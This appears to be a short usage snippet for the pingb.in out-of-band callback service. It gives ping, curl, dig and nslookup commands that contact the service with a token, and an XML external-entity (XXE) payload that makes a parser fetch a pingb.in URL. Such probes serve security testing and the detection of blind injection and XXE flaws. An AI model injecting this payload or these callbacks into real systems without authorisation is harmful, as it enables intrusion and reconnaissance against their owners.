$ ping -c1 -p 00b28b0b1a5afd29a638024889cfe700 pingb.in
 

$ curl pingb.in/p/b28b0b1a5afd29a638024889cfe7
 

$ dig b28b0b1a5afd29a638024889cfe7 @pingb.in
 

$ dig b28b0b1a5afd29a638024889cfe7.ns.pingb.in
 

C:\> nslookup b28b0b1a5afd29a638024889cfe7 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/b28b0b1a5afd29a638024889cfe7">]>
    <foo>&xxe;</foo>